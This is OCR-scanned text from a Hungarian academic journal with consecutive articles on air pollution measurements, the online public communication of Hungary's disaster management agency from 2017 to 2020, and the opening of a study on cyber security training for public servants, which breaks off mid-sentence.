2019.10.27-2019.11.01. |6 |2019.10.24-2019.10.27. | 4

2019.11. 26-2019. 11. 29.

2019.12.15-2019.12. 21. |7 |2019.12.09-2019.12.15. |7

2019.12.17-2019. 12. 20.
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Az OLM? altal nyilvantartott budapesti, dorogi, miskolci, nyiregyhazi és szegedi mérési
adatok alapjan 2017. januar 1-jétél 2019. december 31-ig tartd idSintervallumban
valészinlleg ugyancsak a flitési szezonnal hozhat6 6sszefliggésbe az a néhany
egészségligyi hatarértéket meghalado nitrogén-dioxid (NO,) -kibocsatas, amelyet
f6ként Budapesten, valamint Miskolcon és Nyiregyhazan is mérni lehetett (6. tab-
lazat). Az utdbbi két varosban csupan 2017. év telén volt néhany kiugré eredmény
(2017. januar 30-31. Miskolcon: 127; 110,5; Nyiregyhazan: 91,2), Budapesten azon-
ban az emlitett id6szakban minden évben tapasztalhaté volt néhany nap, amikor
jocskan a 85 pg/m? egészségiigyi hatarérték folé keriiltek az értékek. Szerencsére
azonban a vizsgalt varosok koziil egyikre sem volt jellemzé az egymast kdvetd két
napnal hosszabb ideig tarté magas nitrogén-dioxid (NO,) -koncentracio.

21 Orszagos Legszennyezettsegi Meréhalozat i. m. (8. j.)
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7. abra

Magyarorszag — altalam vizsgalt —- méréallomdsaira vonatkozé 2017-2019. éves intervallumban mért
nitrogén-monoxid (NO) havi atlagértékei.
Forras: Orszégos Légszennyezettségi Méréhaldzat i. m. (8. 1j.) alapjan a szerz§ szerkesztése

6. tablazat

Magyarorszag - altalam vizsgalt — méréallomasainak 2017. €s 2019. kéz6tt mért 24 ords egészségligyi
hatarértéket meghalado nitrogén-dioxid (NO,) napi értékeirdl készitett kimutatasmetszet.
Forras: Orszégos Légszennyezettségi Méréhalozat i. m. (8. 1j.) alapjan a szerz§ szerkesztése
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8. dbra

Magyarorszag - éltalam vizsgalt — méréallomasaira vonatkozé 2017-2019. éves intervallumban mért
nitrogén-dioxid (NO,) havi atlagértékei.
Forras: Orszagos Légszennyezettségi Méréhalczat i. m. (8. j.) alapjan a szerzé szerkesztése

Kovetkeztetés

A jelen cikkben téargyalt két légszennyez6 anyag kibocsatasi mennyiségérél az altalam
vizsgalt elmult harom év tilkrében is elmondhatd, hogy mindkett6 koncentracidja—az év
tobbi napjaban mértekhez képest — leginkabb a flitési szezonban ért el magasabb
értéket (legalabbis az altalam vizsgalt 5 varosban). Ugyanakkor a két anyag koziil csak
az egyik vegylletcsoport: a nitrogén-oxidok (NO,, NO,, NO) esetében beszélhetiink
egészségligyi hatarérték tullépésérdl, amelyek koziil a nitrogén-dioxid kivételével, mind
a nitrogén-oxidok (NO,), mind a nitrogén-monoxid (NO) huzamosabb ideig (tobb
mint harom napon keresztiil) a hatdsagilag megengedett mértékhataron feldli volt.
Mint azt a cikkben kifejtettem, a tul magas nitrogén-monoxid (NO) -koncentracio
rosszul vagy egyaltalan nem karbantartott f(itési rendszerek mellett zart térben akar
harom napon beliil is komoly egészségiigyi kockazatot jelenthet.

Ezzel szemben az OLM oldalarol? kigydjtott és kielemzett mérési adatok alapjan
a kén-dioxid (SO,) koncentracioja — beleértve a flitési idészakot is — mindvégig joval
az egészségligyi hatarértéken belll mozgott.

Ebbél azt a kdvetkeztetést lehet levonni, hogy a nitrogén-oxidok (NO,) és a nitro-
gén-monoxid (NO) csokkentése érdekében —a magyar szabélyozasokat és fejlesztéseket
tekintve — még sziikséges lenne tovabbi lépéseket tenni. Ebben nagy segitséget nyUjthat
a hazak, épliletek megfeleld szigetelése, illetve javitasa, modernizacidja, az elektromos

2 Orszagos Legszennyezettsegi Mer6halozat i. m. (8. j.)
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fltési (infrapanel) technoldgia és az alternativ energiaforrasok konnyebben hozza-
férhet6vé tétele, valamint a kdzuti kozlekedésben az elektromos autdk elterjedése.

A cikksorozat folytatasaban sz6 lesz még az 6zon (O,), a benzol (C;H,), azammonia
(NH,), a szén-monoxid (CO) és a szallépor (PM10 és PM2,5) magyarorszagi koncent-
raciojarol és egészségligyi hatasairol.
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Die Entwicklung der Verwendung
von online Medien des ungarischen
Katastrophenschutzes
zwischen 2017 und 2020

The Development of the Use of Online Media
by the Professional Disaster Management Organisation
in Hungary Between 2017 and 2020

A magyarorszagi hivatasos katasztréfavédelmi szervezet
onlinemédia-hasznalatanak fejlédése 2017 és 2020 kozott

Die Offentlichkeitstatigkeit ist von grofRer Bedeutung fiir die Erhéhung der Wider-
standsfahigkeit der Bevolkerung gegeniiber Bedrohungen. Diese Aufgabe wird von
verschiedenen Ministerien und Verteidigungsorganisationen mit unterschiedlichen
Inhalten und Methoden ausgefiihrt. Die vorliegende Studie analysiert und prasentiert
detailliert das System der online Offentlichkeitstétigkeit der ungarischen Berufska-
tastrophenschutz-Organisation. Die Autorin stellt die Elemente des Systems, ihre
Entwicklung innerhalb der Offentlichkeitstétigkeit vor, und untersucht ebenfalls
ihre aktuelle Rolle und Funktion im Zeitraum zwischen 2017 und 2020. Dariiber
hinaus werden die wesentlichen Elemente von sozialen Medien im Allgemeinen im
Artikel vorgestellt.

Schliisselwérter: Katastrophenschutz, Offentlichkeitstatigkeit, Kommunikation

Public information is of key importance in increasing the population’s resilience to
threats. This task is performed by different ministries and defence organisations
with different content and methods. The present study analyses and presents in
detail the online public information system of the Hungarian professional disaster
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management organisation. The author presents in this article the elements of the
system, their development within the communication activity and also examines
their current role and function separately, in the period 2017-2020. In addition, the
study presents the essential elements of social media tools in general.

Keywords: disaster management, public communication, communication

A lakossagtajékoztatas kiemelt jelent6séggel bir a lakossag veszélyekkel szem-
beni reziliencidja névelésében. E feladatot a kiilonb6z6 tarcak és védelmi szervek
mas-mas tartalommal és mddszerrel végzik. Jelen tanulmany elemszi, részletesen
bemutatja a magyar hivatasos katasztréfavédelmi szervezet online lakossagtajé-
koztatasi rendszerét. A szerz6 bemutatja az irasban a rendszer elemeit, azok kiala-
kulasat a kommunikacios tevékenységen beldll, illetve kiilon-kiilon is megvizsgalja
azok jelenlegi szerepét, funkcidjat a 2017-2020. k6zo6tti id6szakra. A cikk mindezek
mellett altalanossagban is bemutatja a kozosségi média lényegi elemeit.

Kulcsszavak: katasztrofavédelem, lakossagtajékoztatas, kommunikacié

Einleitung

Das Wort ,communicatio” ist von lateinischem Ursprung und bedeutet Mitteilung,
Unterredung. Die zwei Grundmodellen der heutigen Kommunikationsmodellen stam-
men von Claude Shannon und Warren Weaver, beziehungsweise von Roman Jacobson.
Die zwei Wissenschaftler arbeiteten als Ingenieuren bei der Telefongesellschaft Bell.
Das Modell nach Shannon und Weaver beschreibt wie eine Botschaft von der Info-
quelle bis zum Ziel erreicht. Es prasentiert den Sender, das Kanal, den Empfanger,
und unterscheidet das Signal, das Gerausch und die Stérungsquelle.

Das Modell des Linguisten Roman Jacobson verwendet die Fachausdriicke: (Ab-)
Sender, Kontext, Mitteilung, Kode, Kanal und Empfanger.

Die heutige Kommunikationswissenschaft kennt eine breite Reihe von Defini-
tionen des Begriffes ,Kommunikation”. Die Autorin verwendet den Ausdruck als
,Prozess der Ubertragung von Nachrichten zwischen einem Sender und einem oder
mehreren Empfangern.”? Wahrend der Offentlichkeitstétigkeit der Berufskatast-
rophenschutz-Organisation versteht man unter dem Sender die Organisation und
unter dem Empfanger die Offentlichkeit.

Der Kundenservice der Organisation gibt Informationen der Bevolkerung eben-
falls online, durch E-Mails auch, dieser Artikel untersucht aber diesen Bereich nicht.

Wie es im ungarischen Katastrophenschutzgesetz geregelt ist, die am Katastro-
phenmanagement Beteiligten sollen die Informationen sichern, die zur Information
der Bevdlkerung tiber die Wirkungen, die das Leben, die Unverletztheit des Korpers,
das Muttergut und die Umwelt gefahrden, erforderlich sind.?

2 Gabler Wirtschaftslexikon. Erreichbar: https://wirtschaftslexikon.gabler.de/definition/kommunikation-37167.
(30.05. 2020

> CXXVIII/2011 Gesetz iiber Katastrophenschutz und die Anderung bestimmter damit zusammenhéngender Gesetze.
Erreichbar: https://net.jogtar.hu/jogszabaly?docid=a1100128.tv. (30. 05. 2020.)
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Die online Kommunikation

Die Verwendung von online Kommunikationstools ist in der Welt des beschleunig-
ten Informationsaustausches von entscheidender Bedeutung. Das Internet ist ein
wichtiges Mittel der Ubertragung von Informationen. Ein Mittel, welches heutzutage
fur fast alle, und beinahe tiberall in der Welt zur Verfligung steht. Ein Mittel, das die
sofortige Weiterleitung von Informationen erméglicht.

In Kenntnis dieser oben genannten Tatsachen ist es fiir ein Unternehmen, oder
auch fiir eine Organisation unerlasslich, diese Mittel wahrend ihrer alltaglichen Kom-
munikationsaktivitat zu verwenden.

Die Verwendung der online Mittel soll aber zahlreiche Anforderungen erfiillen.
Der online Prasenz einer Organisation soll ununterbrochen sein werden. Beispielsweise
ist es eine falsche Methode, falls eine Organisation die E-Nachrichten nie oder erst
mit grof3er Verspatung liest und beantwortet. Ebenfalls mag es nicht niitzlich sein,
wenn die Organisation nur sehr selten auf ihr Facebook- oder Instagram-Profil postet.
Wenn eine Organisation online anwesend ist, soll sie auf ihre E-Tools kontinuierlich
Ricksicht nehmen.

Eine weitere Anforderung ist, dass die Kommunikation auf den online Platt-
formen konsequent sein soll — es gilt auch im Allgemeinen fiir die Kommuni-
kationsaktivitat. Wenn zum Beispiel eine Organisation auf ihr Instagram-Profil
ausschliefSlich im ungezwungenen Stil kommuniziert, es ist nicht zu empfehlen,
den Stil zu andern.

Die Verwendung der sozialen Medien hat mehrere Vorteile, aber auch Nachteile.
Der schnelle Informationstransfer kann Argument, aber auch Gegenargument sein.*

Man sollte bei der Planung immer vor Augen halten, welche online und sozialen
Mittel im gegebenen Land haufig von Benutzer benutzt werden. In Ungarn stehen
auf den ersten Pldtzen: Facebook, Instagram und YouTube, welche die Katastrophen-
schutzorganisation verwendet, ist aber auch Twitter von grof3er Bedeutung, wessen
Verwendung noch eine mégliche Entwicklungsrichtung fir die Organisation ist.

Die Webseiten

Die Organisation ediert insgesamt 27 Webseiten im Jahr 2020. Die Nationale
Generaldirektion, das Wirtschaftszentrum, das Bildungszentrum, das Museum, das
Orchester und das Forschungsinstitut verfiigen Uber je eine Seite, und alle Katast-
rophenschutzdirektionen haben eine eigene, insgesamt zwanzig (neunzehn Komi-
taten und die Hauptstadt). Die Generaldirektion ediert auferdem die Internetseite
www.szentflorian.hu, eine Internetseite fir die freiwilligen Feuerwehrleute. Die Seite
wurde seit einem Jahr nicht aktualisiert.

4 H. Krautz, W. Geier, T. Mitschke (Hrsg.): Bevélkerungsschutz. Notfallvorsorge und Krisenmanagement in Theorie
und Praxis (Berlin-Heidelberg: Springer-Verlag, 2017).
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Alle Webseiten wurden im Jahr 2019 erneuert, mit der Ausnahme der Letzten.
Die erneuerten Webseiten bekamen ein vollstandig neues Erscheinungsbild und eine
neue Struktur seit 2017.

Die umgearbeiteten Webseiten wurden handy- und benutzerfreundlich: sie sind
jetzt sowohl auf Smartphones, als auch auf Tablets leicht zu lesen, beziehungsweise
die Fotos konnen schon vergrof3ert sein werden.

Die Hauptmenis auf der Eroffnungsseiten veranderten sich, die sind jetzt Folgende:

+ Uber uns,

« Unsere Nachrichten,

+ Bevdlkerung,

+ Behordliche Angelegenheiten,

« Fachinformationen,

« Daten von 6ffentlichem Interesse,

- FAQ.

Dagegen gab es vorher blof3 vier Hauptmendis:
+ Organisationsinformationen,
 Zivilschutz,

+ Feuerwehr,
+ Industriesicherheit.

Die Internetseiten der Direktionen in den Komitaten haben alle die gleiche Struktur.

Die Erneuerung hatte bedeutende Auswirkungen auf die redaktionellen Grund-
satze und Inhalte. Der Zweck der Inhaltserneuerung war, dass die neuen Seiten die
Anderungen der Organisationsstruktur zuriickspiegeln. Die Struktur der erneuerten
Internetseiten wurde auf die Beddirfnisse des Lesers zugeschnitten — aber ohne Unter-
suchungen oder Fragebogen an die Bevdlkerung. Nach der Meinung der Autorin
sollte der Erneuerung eine Untersuchung vorausgehen kdnnen, oder es ware gut, die
Meinungen der Leser ex-post forschen.

Die Applikation ,VESZ"

Die App wurde im Jahr 2013 ins Leben gerufen, und im Marz 2020 erneuert. Sie liefert
Nachrichten, Warnungen und authentische Informationen. Dank der Erneuerung
wurde das Meniisystem einfacher, wurden die Einstellungen der Bereiche erweitert,
und erschien eine neue Funktion: die Nachrichten kann man auch anhéren, nicht nur
lesen. Diese neue Funktion hilft der Zuganglichkeit. Sehbehinderte Personen kdnnen
die App im Modus mit grofem Kontrast verwenden.’

Nach der Meinung der Autorin enthalt die Erneuerung wichtige Elemente, aber
die Applikation kdnnte noch weiterentwickelt werden: sie sollte ebenfalls Verhaltens-
anweisungen in Notfall ver&ffentlichen.

5 VESZ. Erreichbar: https://katasztrofavedelem.hu/37/vesz. (27. 04. 2020.)
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Das Facebook-Profil der Organisation

Das Facebook-Profil der Organisation unterstiitzt die Offentlichkeitstatigkeit seit 2013.
Im April 2017 hatte das Profil mehr als 19 Tausend Likes, diese Zahl ist drei Jahre
spater, im April 2020, mehr als 64,400 - also sie verdreifachte sich.® Die Interessen
sind also grof3, und es beweist auch, dass sich die Jugendlichen flir das Thema inter-
essieren. Es missen aber die Plattforms dieser Generation gefunden werden.
Die redaktionellen Grundsatze veranderten sich nicht im Laufe der Zeit. Das Profil
unterstutzt weiterhin die bidirektionale Kommunikation, vor allem durch ihr leichten Stil.

Der YouTube-Kanal der Organisation

Auf dem YouTube erschien das erste Video der ungarischen Katastrophenschutz-
Organisation im Jahr 2012. Die Seite verfiigt heutzutage tiber 2,880 Followers, diese
Zahl war im Jahr 2017 blof3 75. Vor vier Jahren hatte die Organisation 18 Videos auf
den Kanal, heute kann man hier 64 ansehen.’

& > C @ youtube.com/watch?v=h9NJnIRI1v8

= OVYouluhe™ Keresés = Q

> bl 0 020/0:58

1. Abbildung
Kurzfilm,,Brandschutz in der Kiiche” auf dem YouTube-Kanal der Organisation.
Quelle: ,Konyhai tliz eloltasa,” YouTube. Erreichbar: www.youtube.com/watch?v=UQNAZCTknMU. (28. 04. 2020.)

Die Filme gehen um verschiedene Themen. Die Zuschauer kdnnen Filme (iber die
Ereignisse der Organisation, oder auch Kurzfilme im Thema ,Pravention* anschauen.

¢ Die Angabe von 2017 stammt von Agnes Turiné Barta, ,A kéz6sségi média szerepe a katasztrofavédelem la-
kossagtajékoztatasaban,” in A tarsadalom szolgalataban — felkésziilés és felkészités a katasztréfavédelmi kihivasok
tiikrében, hrsg. Miklos Polgar (Pécs: Baranya Megyei Katasztréfavédelmi Igazgatdsag, 2017), 47-56.

7 Quelle der Angaben aus 2017: Turiné Barta, ,A kozosségi média szerepe.”
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Die Katastrophenschutz-Direktion in der Hauptstadt verfligt ebenfalls Gber
einen YouTube-Kanal, mit 2,230 Followers. An der Direktion ist eine professionelle
sogenannte Videogruppe in Budapest tatig.

Der Mediaserver

,Der Mediaserver, der Server fiir die Pressearbeiterinnen ist ab 4. Dezember 2012
erreichbar. Auf das online System wurden Bilder und Videos von den Sprecherinnen
aufgeladen.”® Der Mediaserver funktioniert seit 2017 unverandert.

Das neuste Mittel: das Instagram-Profil der Organisation

»Pinterest und Instagram sind soziale Netzwerke, die ihren Schwerpunkt auf
Bilder und Bildwelten gelegt haben. Im Gegensatz zu Facebook, Xing und Co.,
die eine breite Auswahl an Nutzungsmoglichkeiten bieten, haben sich Pinterest
und Instagram hauptsdchlich auf einen einzigen Bereich spezialisiert — visuelle
Kommunikation."®

Die Organisation verwendet diese Moglichkeit im Sinne der oben erwdhnten
Aussage, legt also den Schwerpunkt auf die visuelle Kommunikation. Das offizielle
Profil verfligt Giber beinahe 7,500 Followers und mehr als 650 Posts. Es kommt vor,
dass Fotos uber beriihmte Schauspieler oder Musikbands auf dem Profil erscheinen.
Esist ein effektives Verfahren, um mehr Likes (und eventuell auch Followers) zu sam-
meln. Diese Aktionen dienen nicht nur zur Informierung der Bevolkerung, sondern
macht sich die Organisation durch freundlichen, natirlichen Stil besser bekannt.

Heutzutage kommen mehrere Challenges, Aktionen zustande und die Katast-
rophenschutz-Organisation schlief3t sich diesen Trend oft an. In den letzten Zeiten
macht die Organisation Fotocollagen im Zusammenhang mit beriihmten Filmszenen,
so unterstiitzend ein wichtiges Ziel, und zwar dass die Menschen wahrend der Coro-
navirus-Krise zu Hause bleiben.

Aus der Perspektive der effektiven Kommunikationstatigkeit gesehen, ist die
Verwendung des Instagrams von grof3er Bedeutung. ,Visuelle Onlinekommunikation
ist bei der Generierung von Aufmerksamkeit i.d.R. effektiver als (reiner) Text, denn
Images bleiben langer im Gedachtnis verhaftet.”™

8 A Tuariné Barta, T. Habermayer, ,Die Offentlichkeitstétigkeit des ungarischen Katastrophenschutzes,” in First
Conference on Effective Response. Conference Proceedings. Sopron, 15* November 2019. Hungarian Red Cross
(Budapest, 2020, E-book). Erreichbar: www.ironore.eu/wp-content/uploads/2020/02/ER-Conference-Book-fi-
nal-1.pdf (27. 04. 2020.), 113.

9 M. Kroner, Visuelle Kommunikation im Social Web durch Pinterest und Instagram. Am Beispiel der
Gastronomiebranche (Grin, 2013, E-book), 1.

). Raupp, J. N. Kocks, K. Murphy (Hrsg.), Regierungskommunikation und staatliche Offentlichkeitsarbeit.
Implikationen des technologisch induzierten Medienwandel (Wiesbaden: Springer Fachmedien GmbH, 2018).
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2. Abbildung
Die Posts auf Instagram, auch mit Reaktionen auf Challenges.
Quelle: Erreichbar: www.instagram.com/katasztrofavedelem_hivatalos/ (29. 04. 2020.)

Schlussfolgerungen

»Zu den Grundaufgaben des Zivilschutzes und des Katastrophenschutzes gehoren
die Offentlichkeitstatigkeit und die Vorbereitung der Bevélkerung auf bevorstehende
Notfélle, beziehungsweise auf Verhaltensanweisungen in Notfall.""

Man kann feststellen, dass die online Offentlichkeitstatigkeit der ungarischen
Berufskatastrophenschutz-Organisation zwischen den Jahren 2017 und 2020 eine
wesentliche Anderung erfuhr.

). Mogor, A lakossagi tdjékoztatas és a nyilvanossag biztositasanak kutatasa a sulyos ipari balesetek elleni
védekezésben. Doktorarbeit, Zrinyi Miklos Nemzetvédelmi Egyetem, Budapest, 2010. Erreichbar: https://
nkerepo.uni-nke.hu/xmlui/bitstream/handle/123456789/12209/ertekezes.pdf;jsessionid=197A30332F25FA-
6737B9EEBD5T1A8CCBA?sequence=1(30. 05. 2020.), 11.
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Wie es im Artikel ausfiihrlich beschrieben wurde, zwei Tools der online Kom-
munikationsmittel, die schon im Jahr 2017 bestanden, wurden weiterentwickelt,
und auf3erdem erschien ein neues Tool: das Instagram-Profil. Das Facebook-Profil
und der Mediaserver blieben unverandert, der YouTube-Kanal ist auch weiterhin in
Verwendung, die Webseiten und die Applikation ,VESZ" wurden aber erneuert. Es
ist wichtig zu erwdhnen, dass die Anzahl der Followers auf Facebook und YouTube
wesentlichen Zuwachs zeigt.

Die Autorin hat vorgeschlagen, dass der Erneuerung der Internetseiten und
Applikation sollte eine Untersuchung vorausgehen, um die Webseiten und App fiir die
Zielgruppen relevanter zu machen kénnen. Es ware ratsam, mit einer Untersuchung
iber die Meinung und Perzeptionen der Benutzer zu beginnen.

Klaus Beck schrieb Uber die interpersonale Medienwahl die Folgenden: ,Die
Wahl des Kommunikationsmodus erfolgt im Alltag... immer unter Bezugnahme auf
den konkreten Kommunikationspartner, seine Erreichbarkeit, Vorlieben und Kom-
petenzen beziehungsweise die Annahmen, die man dariiber hat, weshalb man auch
von »interpersonaler Medienwahl« spricht.”? Die Kommunikation im Bereich des
Katastrophenschutzes versucht das Individuum zu erreichen.

Die Autorin verfasste im Artikel Vorschlage auf bestimmten Veranderungen
und formulierte die Meinung, in welche Richtung die offizielle Applikation weiter-
entwickelt werden konnte.

Nach der Meinung der Autorin ist es weiterhin zu iberlegen, ein offizielles Twit-
ter-Profil fuir die Katastrophenschutz-Organisation zu eréffnen, damit sie noch mehr
Leute mit ihren Informationen erreichen kdnnte, beziehungsweise viel mehr als jetzt
auf englischer Sprache zu kommunizieren.

Zusammenfassend kann man feststellen, dass die Organisation die Trends der
modernen, sozialen Medien folgt und die Interessen der Menschen erfolgreich wecken
kann.
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A kozszolgalati kiberbiztonsagi képzés
lehet6sége Magyarorszagon

The Opportunities of Developing a Cyber Security
Training Programme for Public Service in Hungary

A kozszolgalat kiemelt célpontja a kibertamadasoknak, igy ezek megelézése
és eredményes elharitasa érdekében kiilonésen nagy hangsulyt kell fektetni
akilonféle szervezetek védelmi képességeinek kialakitasara és folyamatos fej-
lesztésére. Ennek részeként értelmezhetd a lehetséges tamadasi alternativak
megismerését és alkalmazhatdsagat célzo kdzszolgalati kiberbiztonsagi képzés
megalkotasa.

A képzési program megalkotasa soran fel kell tarni a program megvalésithatésa-
ganak lehetdségeit, illetve a hasonlé hazai képzéseket a képzés sziikségességének
igazolasa és az esetleges ,jo gyakorlatok” atvétele érdekében.

Jelen tanulmany a hazai kiberbiztonsagi, kibervédelmi képzéseket, ezen beliil
azok tartalmat, elemeit, az esetleges hidnyossagait vizsgalja, valamint definialja
a kozszolgalati kiberbiztonsagi képzés fogalmat és meghatarozza annak elemeit,
kovetelményeit.

Kulcsszavak: kozszolgalat, kiberbiztonsag, kibervédelem, informacidbiztonsag,
adatvédelem, képzési program, kozszolgalati kiberbiztonsagi képzés, hazai képzések,
hazai kiberbiztonsagi képzések, NICE-keretrendszer, oktatas

The public service is a key target of cyber attacks. In order to prevent and effec-
tively tackle such attacks, organisations should continuously develop their defense
capabilities. As part of this development, a public service cyber security training
programme is needed, that aims at learning about and applying possible cyber attack
alternatives. During the specification of the programme, domestic cyber security
programmes should be explored in order to prove the need for the training and to
adopt possible ‘good practices'. In this paper, | evaluate the Hungarian cyber security
and cyber defence programmes including their content, key elements and possible
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shortcomings. Finally, | define the purpose of public service cyber security training
programme and identify its elements and requirements.

Keywords: public service, cyber security, cyber defence, information security, data
protection, training programme, domestic training programmes, domestic cyber
security training programmes, NICE Framework, education

Bevezetés

Az egyre Ujabb és Ujabb szamitastechnikai, illetve elektronikai eszk6zok a mindennap-
jaink részeivé valtak. A kiilonbdz6 infokommunikacios eszkdzok, illetve az informacids
rendszerek megjelenése és fejlédése nemcsak elényokkel jarnak, hanem szamos
veszélyt is rejthetnek magukban. Naponta kovetnek el kibertamadasokat a kiilonféle
bizalmas informaciok megszerzése érdekében, allami és nem allami szerveket egyarant
célozva. Eppen ezért sziikségszer(, hogy ezek megel&zése és eredményes elharitasa
érdekében noveljik a kilonféle szervezetek védelmi képességeit.

A kibertamadasok jelent&s gazdasagi, politikai, nemzetbiztonsagi, de a tarsada-
lomra is kiterjed6 karos kdvetkezményt idézhetnek elS. Az elmult évek tapasztalatai
alapjan elmondhato, hogy a kdzszolgalat kiemelt célpontja a kibertamadasoknak, igy
kiilondsen nagy hangsulyt kell fektetni a lehetséges tamadasi alternativak megismeré-
sére és alkalmazhatdsagara a hatékony védelem kialakitasa érdekében. A kdzszolgalat
fejlesztéséhez a kildnféle infrastrukturak védettségének teszteléséhez sziikség van
a védelmi képesség képzési lehetbségeinek meghatarozasara, a kockazatok és sebez-
het&ségek feltarasa érdekében. A kdzszolgalatban dolgozd személyek nap mint nap
részt vesznek a dontéshozatalban, amiket ddnt6en befolyasolnak a kibervédelemmel
kapcsolatos stratégiai kérdések. Ahhoz, hogy az infrastrukturak tesztelése és ellenér-
zése, valamint az esetleges tamadasok elharitasa és megel&zése hatékonyan, illetve
eredményesen megvaldsulhasson, tovabba a dontéshozatalban megfeleld lépéseket
hajtsanak végre, elengedhetetlen a szakérték bevonasa.

A kiberbiztonsaggal, informaciobiztonsaggal foglalkozd szakemberek hidnya
indokoltta teszi e teriilet képzési programjanak kidolgozasat a kdzszolgalat fejlesztése
érdekében. A jelenlegi hazai helyzet alapjan szamos olyan, a kibertamadasi és védelmi
képesség kialakitasat szolgdld képzés létezik, amelyek csak informatikai tudast adnak
at, vagy csak jogi ismeretek elsajatitasat célozzak meg. Azonban a kdzszolgalatban
dolgozok szamara olyan képzés, amely e két teriilet megfelels részét egyiittesen fedné
le, jelenleg hazankban nem elérheté.

Mindezek miatt sziikséges egy olyan képzési program megalkotasa a hazai képzési
kornyezetben, amely lehet8séget nyujt a kdzszolgalatban dolgozd, nem informatikai
végzettségl személyek kibervédelmi képességének kialakitdsara. E képesség alatt
a személyes kibervédelmi ismeretek és képességek dsszessége érthetd. A kiberbiz-
tonsagi képzés azoknak a személyeknek szél, akik nem rendelkeznek a sziikséges
alapismeretekkel, nem mozognak a témaban otthonosan.
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A képzésnek nemzetkozi szinten is elfogadottnak kell lennie. Emiatt érdemes
a NICE Cybersecurity Workforce? keretrendszer altal definialt, a kiberbiztonsaghoz
kapcsolddé munkakdroket tanulmanyozni, illetve megvizsgélni az e munkakorok betdl-
téséhez sziikséges képességeket, készségeket, tovabba elsajatitando ismeretkdroket.

Jelen tanulmany célja a sziikséges ismeretek, készségek és képességek azonosi-
tasa, kibervédelem, kiberbiztonsag hazai képzéseinek feltérképezése és azok Ossze-
hasonlitasa az atadott tudasanyagok alapjan, illetve a kozszolgalati kiberbiztonsagi
képzés meghatarozasa. A képzés kialakitasahoz elengedhetetlen a hasonlé képzések
felkutatasa, az esetleges ,jo gyakorlatok” atvétele érdekében, azonban terjedelmi okok
miatt jelen tanulmany csak a hazai képzések feltarasat tizte ki célul, a nemzetkozi
képzések vizsgalata egy tovabbi tanulmany tartalmat képezi.

Hipotézisek

A képzés sziikségességének igazolasara és definialasara az alabbi hipotéziseket alli-
tottam fel:

H1. A kdzszolgalatban dolgozé személyek szamara sziikséges a NICE altal meg-
hatarozott és egyéb a NICE altal nem definialt ismerethalmaz elsajatitasa.

H2. A hazai felsoktatasi rendszerben jelenleg nem létezik olyan képzés, amely
lefedi a kozszolgalati kibervédelmi képesség kialakitasahoz sziikséges alapismereteket.

H3. Definiadlhatd a magyar kdzszolgalat szamara egy fels6oktatasi kiberbiztonsagi
képzés.

Kutatasi modszertan

A fentebb emlitett hipotézisek megvalaszolasara az 1. abra segitségével bemutatott
modszereket hasznaltam fel, amelyeket az alabbiakban részletezek:

A H1-hipotézis esetén azonositottam a kiberbiztonsagi képzés célcsoportjat
és a NICE-keretrendszer altal rogzitett relevans kiberbiztonsagi munkakort. Ezt
kovetSen definialtam a képzés soran elsajatitandd ismerethalmazt, amely tartal-
mazza a NICE-ban el8irt tudas-, feladat-, készség-, képességhalmazt, valamint egyéb
ismeretkdroket egyarant.

A H2-hipotézis esetén azt vizsgaltam, hogy jelenleg a magyarorszagi felséoktatasi
rendszerben milyen kiberbiztonsaggal, kibervédelemmel, informaciobiztonsaggal kap-
csolatos képzések léteznek, és ezt kdvetden feltérképeztem azok tartalmat, valamint
azt, hogy az lefedi-e az els6 hipotézisben meghatarozott sziikséges alapismereteket.

A H3-hipotézis igazolasara, amennyiben a H2-hipotézis szerint a képzés sziikséges-
sége igazolt, a H1-hipotézis alapjan meghatarozottak szerint definidlom a kdzszolgalati
kiberbiztonsagi képzést, valamint annak tartalmat és alapvetd elemeit.

A National Initiative for Cybersecurity Education (NICE) Cybersecurity Workforce Framework az Egyesiilt Alla-
mok Kereskedelmi Minisztériuméanak Nemzeti Szabvanylgyi és Technologiai Intézete &ltal kiadott tanulmany,
amely a kiberbiztonsaghoz kapcsolédé munkakoroket kategorizalja, valamint tobbek kozott kifejti és leirja a ki-
berbiztonsagi munkakorok tartalmat és e munkakorok betoltéséhez sziikséges képességeket, készségeket, to-
vabba elsajatitandd ismeretkoroket.
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Célcsoport
azonositasa

Ismerethalmaz
kivalasztasa
(NICE)

Hazai képzések
azonositasa

Tovabbi
ismerethalmaz
azonositasa

Képzések
ismerethalmaza-
nak vizsgalata

Kozszolgalati kiberbiztonsagi képzés definidlasa

1. abra
Hipotézisek bizonyitasanak mddszerei.
Forras: a szerzd szerkesztése

Kapcsolodé munkak

Ahhoz, hogy a jelen tanulmanyban ismertetett kdzszolgalati kiberbiztonsagi képzés
minden részletre kiterjed definialasa megvaldsulhasson, nélkiilézhetetlen a relevans
hazai és nemzetkdzi szakirodalom mélyebb vizsgalata, tovabba jelen képzés alapjaul
szolgald képességek, készségek halmazat a hasonld képzések kdvetelményeinek
vizsgalatdval hatdroztam meg.
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Hazai kiberbiztonsagi oktatassal kapcsolatos tanulmanyok

Azokat a tanulmanyokat vizsgaltam, amelyek a hazai kiberbiztonsagi képzésfejlesz-
tésre, a kiberbiztonsagi és kibervédelmi képességek fejlesztésére dsszpontositanak,
illetve a kibervédelmi oktatas kérdéseire keresik a valaszt.

Az irodalomkutatas soran mindenképp ki kell emelni Krasznay Csaba altal
elkészitett A kiberbiztonsag stratégiai vetiileteinek oktatasi kérdései a kbzszolgalatban
cimd publikaciot. A szerz6 ramutat szamos olyan, a kibertérben torténé eseményre,
amelyek kétségkivil hatassal vannak a fizikai vilagra, és rogziti, hogy ezen esemé-
nyekre az orszag védelmében részt vevd szervezeteknek reagalniuk kell. Eppen
ezért elengedhetetlen olyan kdzszolgalati szakemberek alkalmazésa és képzése,
akik érdemben tudnak reagalni a miszaki és nem mdiszaki természeti kihivasokra
egyarant. A szerz6 a tanulmanyban attekinti milyen kibervédelmi képességekre van
sziikség Magyarorszagon, illetve hogyan lehet ezeket megteremteni. Kibervédelmi
képességek kdzé sorolhato a kiberbiztonsag altalanos megértésének képessége,
incidensmenedzselési képesség, valamint a stratégiai, vezetdi képességek. A szerz§
javaslatot tesz e képességek fejlesztésének lehet&ségeire a hazai fels6oktatasi rend-
szerben megvaldsulo alap-, mester- és tovabbképzési szintli oktatas keretében.?

Nagyné Takacs Veronika és Kovacs Laszl6 Az informdciobiztonsdgi vezetd szakiranyu
tovabbképzés tapasztalatai cimU publikaciéja rogziti az informaciobiztonsag jelent&sé-
gét és szabalyozasat, majd bemutatja a Nemzeti Kozszolgalati Egyetem Elektronikus
